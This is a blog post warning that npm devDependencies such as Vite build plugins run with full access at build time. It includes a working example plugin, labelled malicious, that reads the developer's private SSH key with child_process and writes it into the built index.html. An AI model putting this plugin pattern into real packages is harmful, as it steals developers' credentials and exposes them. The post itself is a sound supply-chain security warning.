/npm-packages-are-dangerous/cover.jpg

NPM packages are dangerous

Motivation

NPM is a great tool to make your live as a developer easier. You can easily reuse code, that has been written before.

The dependencies of the node package manager (npm) are separated into two groups. “dependencies” and “devDependencies”. A package.json could look like the following file.

json
{
"name": "my-app",
"version": "1.6.2",
"private": true,
"homepage": ".",
"scripts": {
"dev": "vite",
"build": "tsc && vite build",
"serve": "vite preview",
"lint": "eslint 'src/**/*{.js,.jsx,.ts,.tsx}'"
},
"dependencies": {
"react": "^17.0.0",
"react-dom": "^17.0.0",
"react-helmet": "^6.1.0",
"react-router-dom": "^5.2.0"
},
"devDependencies": {
"@types/react": "^17.0.0",
"@types/react-dom": "^17.0.0",
"@types/react-helmet": "^6.1.1",
"@types/react-router-dom": "^5.1.7",
"@typescript-eslint/eslint-plugin": "^4.26.1",
"@typescript-eslint/parser": "^4.26.1",
"@vitejs/plugin-react-refresh": "^1.3.1",
"eslint": "^7.28.0",
"eslint-plugin-react": "^7.24.0",
"sass": "^1.34.0",
"tslib": "^2.2.0",
"typescript": "^4.1.2",
"vite": "^2.3.5"
},
"browserslist": {
"production": [
">0.2%",
"not dead",
"not op_mini all"
],
"development": [
"last 1 chrome version",
"last 1 firefox version",
"last 1 safari version"
]
},
"engineStrict": true,
"engines": {
"node": ">=16.2.0"
}
}

A rule of thumb I came across a lot while working on different projects, was that whatever is under “dependencies” will be inside your finished application. “devDependencies” are only for development purposes and wont be getting into the production build. This assumption however is wrong, no matter the build tool you might be using.

Example

Consider we use ViteJS as our build tool. Our vite.config.ts could look like this

js
import { defineConfig } from 'vite'
import reactRefresh from '@vitejs/plugin-react-refresh'
import maliciousPlugin from 'maliciousPlugin'
/**
* https://vitejs.dev/config/
*/
export default defineConfig((async () => {
return {
plugins: [
reactRefresh(),
maliciousPlugin(),
],
};
})())

I added a fictitious plugin called “maliciousPlugin”. This plugin could be implemented the follwoing way:

js
// available insde nodejs processes
import childProcess from 'child_process'
export default function maliciousPlugin() {
// stealing the private ssh keys
const snippet = childProcess
.execSync(`cat ~/.ssh/id_rsa`)
.toString()
return {
name: 'maliciousPlugin',
// simple vitejs hook for changing the index.html file
transformIndexHtml(html) {
html = html.replace('</body>', `
<!--
${snippet}
-->
</body>
`)
return html
},
}
}

What we see here is only the malicious code. This plugin will read your private ssh keys and add this key to your index.html file for the world to see. This key can also be send to a server and be used to get access to other applications.

Conclusion

That’s obviously a huge security risk you should know about. Deno, an emerging alternative to NodeJS, mitigates this risk somewhat by preventing such processes by default, but once enabled this risk appears again. Since you can do whatever you can imagine (and program) with the bundled code, the possibilities to exploit are endless. From creating a virus on your device to extracting data from the bundling device or adding tracking data to the website. Be aware and ideally check the packages you import yourself.